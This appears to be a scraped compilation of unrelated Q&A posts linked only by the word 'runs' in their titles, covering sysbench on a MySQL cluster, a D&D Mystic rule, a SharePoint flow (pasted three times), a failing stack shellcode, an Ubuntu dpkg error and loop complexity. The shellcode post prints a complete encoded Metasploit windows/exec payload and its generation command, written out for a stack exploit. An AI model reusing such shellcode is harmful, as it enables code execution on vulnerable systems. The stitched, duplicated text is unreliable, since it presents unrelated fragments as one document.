sysbench runs give different result for mysql database performance evaluation

i am trying to evaluate the performance of mysql database cluster , INNODB cluster (group replication) , so i use sysbench , i run multiple test using the lua scripts (read_write.lua / read_only.lua / bulk_insert.lua) , each test is run 100 runs for repetition (to give more accurate value) ,and took the mean of the result for each test with different number of threads, but i have a problem if i rerun the test on same servers with same sysbench variables and same values for mysql cluster configuration i have different result which make me confused , could any one advise of what could the problem please. noting that i am using 3 servers vms (on same datacenter vms ) with same specification for cluster , and one server as router on same vm , sysbench installed on different server also on same vm to not have network issues.

servers specification of cluster:

ram: 8G

cpu: 2cores , x86_64, 2593.906 MHz

sysbench version : 1.0.18-1

mysql version : 8.0.18

noting below is the same values on 3 servers of my.cnf file, for sure with different server id

my.cnf file on the 3 nodes:

sysbench command used for bulk insert

sysbench –mysql-host=router_IP –mysql-port=6446 –db-driver=mysql –mysql-user=root –mysql-password=** –mysql-db=test_cluster –threads=30 –events=100000 –time=60 /usr/share/sysbench/bulk_insert.lua run |cat > innodb.log

sysbench command used for read_only test

sysbench –mysql-host=router_IP –mysql-port=6447 –db-driver=mysql –mysql-user=root –mysql-password=** –mysql-db=test_cluster –tables=5 –table_size=2000000 –threads=30 /usr/share/sysbench/oltp_read_write.lua run |cat > innodb.log

What happens when a Mystic runs out of disciplines to learn?

The most recent version (v3) of the Mystic class from Unearthed Arcana can be found here.

The Order of the Nomad gets 2 additional disciplines at 1st level from the “Bonus Disciplines” feature, meaning that all of the Nomad disciplines are unlocked by level 5.

However, at level 7 and above, the number of disciplines known increases further for all mystics. Normally, I would think that the mystic simply would unlock nothing, but at level 20, the sheet says that all mystics know 8 disciplines, which is more than any one order has.

What do you do if your mystic has learned all the disciplines for an order, but is still able to learn more disciplines?

sharepoint flow condition runs showing False always

I have a sharepoint list with a list with “Leave type” as one of the columns which is a choice field. I have another column as “Days requested” i created a flow that needs approval redirected to another person if Leave type is Annual Leave and it is more than 10 days Combination of IF and AND condition. i discovered it is running as “Inputs expression is False and goes to where false expression should go even if the condition is true. I have tried several times and the problem keeps showing up. thus directing my flow to the email meant for false expression

sharepoint flow condition runs showing False always

I have a sharepoint list with a list with “Leave type” as one of the columns which is a choice field. I have another column as “Days requested” i created a flow that needs approval redirected to another person if Leave type is Annual Leave and it is more than 10 days Combination of IF and AND condition. i discovered it is running as “Inputs expression is False and goes to where false expression should go even if the condition is true. I have tried several times and the problem keeps showing up. thus directing my flow to the email meant for false expression

sharepoint flow condition runs showing False always

I have a sharepoint list with a list with “Leave type” as one of the columns which is a choice field. I have another column as “Days requested” i created a flow that needs approval redirected to another person if Leave type is Annual Leave and it is more than 10 days Combination of IF and AND condition. i discovered it is running as “Inputs expression is False and goes to where false expression should go even if the condition is true. I have tried several times and the problem keeps showing up. thus directing my flow to the email meant for false expression

Shellcode is jumped to and executed but runs into error

I am really at a loss trying to understand why a Metasploit Windows payload is indeed reached (see snapshot from Immunity below), executed (at least partially), but doesn’t pop a calc.exe at all.

The shellcode on its own, tested within a C wrapper, does work (snapshot attached).

The shellcode on the stack, although reached by Immunity, does not. I have put an “\xcc” before, to visualize that it indeed is positioned and about to be executed. The disassembly code looks dodgy to me… but again, it works on its own…

Shellcode:

msf5 payload(windows/exec) > generate -b "\x00" -e x86/alpha_mixed -f c /*  * windows/exec - 448 bytes  * https://metasploit.com/  * Encoder: x86/alpha_mixed  * VERBOSE=false, PrependMigrate=false, EXITFUNC=process,   * CMD=calc.exe  */ 

OS: Windows 7 64bits, DEP switched off.

Below is a picture of my shellcode about to be executed (with a couple of NOPs and a “\xcc” to break). Things seem to break as early as the 3rd line with “FSTENV”…

shellcode being executed

enter image description here

Actual shellcode in Python format:

"\x89\xe6\xd9\xc7\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" + \ "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" + \ "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" + \ "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" + \ "\x4b\x4c\x4d\x38\x4c\x42\x43\x30\x73\x30\x55\x50\x55\x30\x6b" + \ "\x39\x58\x65\x76\x51\x69\x50\x52\x44\x4c\x4b\x52\x70\x46\x50" + \ "\x4c\x4b\x63\x62\x74\x4c\x4c\x4b\x63\x62\x47\x64\x4c\x4b\x62" + \ "\x52\x47\x58\x74\x4f\x6c\x77\x61\x5a\x51\x36\x55\x61\x59\x6f" + \ "\x6c\x6c\x75\x6c\x51\x71\x61\x6c\x53\x32\x64\x6c\x55\x70\x4f" + \ "\x31\x58\x4f\x36\x6d\x55\x51\x5a\x67\x68\x62\x6a\x52\x66\x32" + \ "\x32\x77\x4c\x4b\x72\x72\x66\x70\x4e\x6b\x32\x6a\x77\x4c\x4e" + \ "\x6b\x72\x6c\x34\x51\x74\x38\x6d\x33\x63\x78\x45\x51\x38\x51" + \ "\x56\x31\x4c\x4b\x63\x69\x55\x70\x55\x51\x79\x43\x4c\x4b\x71" + \ "\x59\x65\x48\x6a\x43\x64\x7a\x42\x69\x6c\x4b\x46\x54\x6c\x4b" + \ "\x55\x51\x7a\x76\x54\x71\x4b\x4f\x6c\x6c\x4a\x61\x48\x4f\x36" + \ "\x6d\x37\x71\x39\x57\x65\x68\x79\x70\x50\x75\x4b\x46\x76\x63" + \ "\x31\x6d\x7a\x58\x55\x6b\x43\x4d\x57\x54\x34\x35\x49\x74\x52" + \ "\x78\x4c\x4b\x56\x38\x67\x54\x37\x71\x38\x53\x75\x36\x4e\x6b" + \ "\x44\x4c\x52\x6b\x6c\x4b\x73\x68\x55\x4c\x36\x61\x78\x53\x6c" + \ "\x4b\x46\x64\x6c\x4b\x65\x51\x38\x50\x6b\x39\x50\x44\x37\x54" + \ "\x35\x74\x31\x4b\x63\x6b\x73\x51\x76\x39\x51\x4a\x52\x71\x4b" + \ "\x4f\x69\x70\x43\x6f\x71\x4f\x61\x4a\x4c\x4b\x74\x52\x6a\x4b" + \ "\x4e\x6d\x71\x4d\x43\x5a\x66\x61\x4c\x4d\x4b\x35\x78\x32\x67" + \ "\x70\x47\x70\x35\x50\x66\x30\x33\x58\x64\x71\x6c\x4b\x72\x4f" + \ "\x6d\x57\x79\x6f\x6b\x65\x6d\x6b\x78\x70\x48\x35\x4f\x52\x71" + \ "\x46\x53\x58\x4e\x46\x6a\x35\x4f\x4d\x4d\x4d\x6b\x4f\x58\x55" + \ "\x75\x6c\x37\x76\x73\x4c\x54\x4a\x6f\x70\x69\x6b\x49\x70\x32" + \ "\x55\x45\x55\x6f\x4b\x52\x67\x62\x33\x50\x72\x50\x6f\x42\x4a" + \ "\x45\x50\x31\x43\x69\x6f\x7a\x75\x63\x53\x75\x31\x52\x4c\x30" + \ "\x63\x64\x6e\x32\x45\x61\x68\x51\x75\x35\x50\x41\x41" 

18.04 runs but will not update

My kernel is Linux 4.15.0-58-generic. I’ve tried a variety of: update, upgrade, repair, install, remove, purge, full-upgrade and other things I have found in various “fixes” posts, but the general error I get after going through all manner of attempts to get current is:

dpkg: error processing package linux-image-4.15.0-64-generic (--configure):  installed linux-image-4.15.0-64-generic package post-installation script subprocess returned error exit status 1 Errors were encountered while processing:  linux-image-4.15.0-65-generic  linux-image-4.15.0-60-generic  linux-image-4.15.0-64-generic E: Sub-process /usr/bin/dpkg returned an error code (1)   

Any help would be very much appreciated. Thanks in advance.

Derive a while loop, which seemingly have some logarithmic traits, runs in $\Theta(n)$

I know for a fact that algorithm A runs in $ \Theta(n)$ , but how does one derive that?

Algorithm A

i = 1 while i ≤ n   s = 0   while s ≤ i     s = s + 1   i = 2 ∗ i 

The inner loop is clearly $ O(i)$ (linear time).

The outer loop is clearly $ O(\log n)$ (logarithmic time).

A visualitation of the loop in terms of an input $ n$ would look as follows:

enter image description here , the black lines represents the amount of work or iterations required in terms of $ n$ .

Derive a while loop runs in $\Theta( \sqrt{n} )$

I know for a fact that algorithm A runs in $ \Theta(\sqrt{n})$ , but how does one derive that fact?

Algorithm A

i = 0 s = 0 while s <= n:     s += i     i += 1 

Here is what I am thinking. We know that A is upper-bounded by O(n), as we increment $ s$ by more than 1 in each iteration. We also know that it must be lower-bounded by $ \log n$ , as we increment $ s$ with by something less than $ 2^i$ in each iteration. (Correct me if I am wrong, these are just my thoughts …).

Now, what else can we say about A? How do we derive that its time complexity is $ \Theta(\sqrt{n})$ ?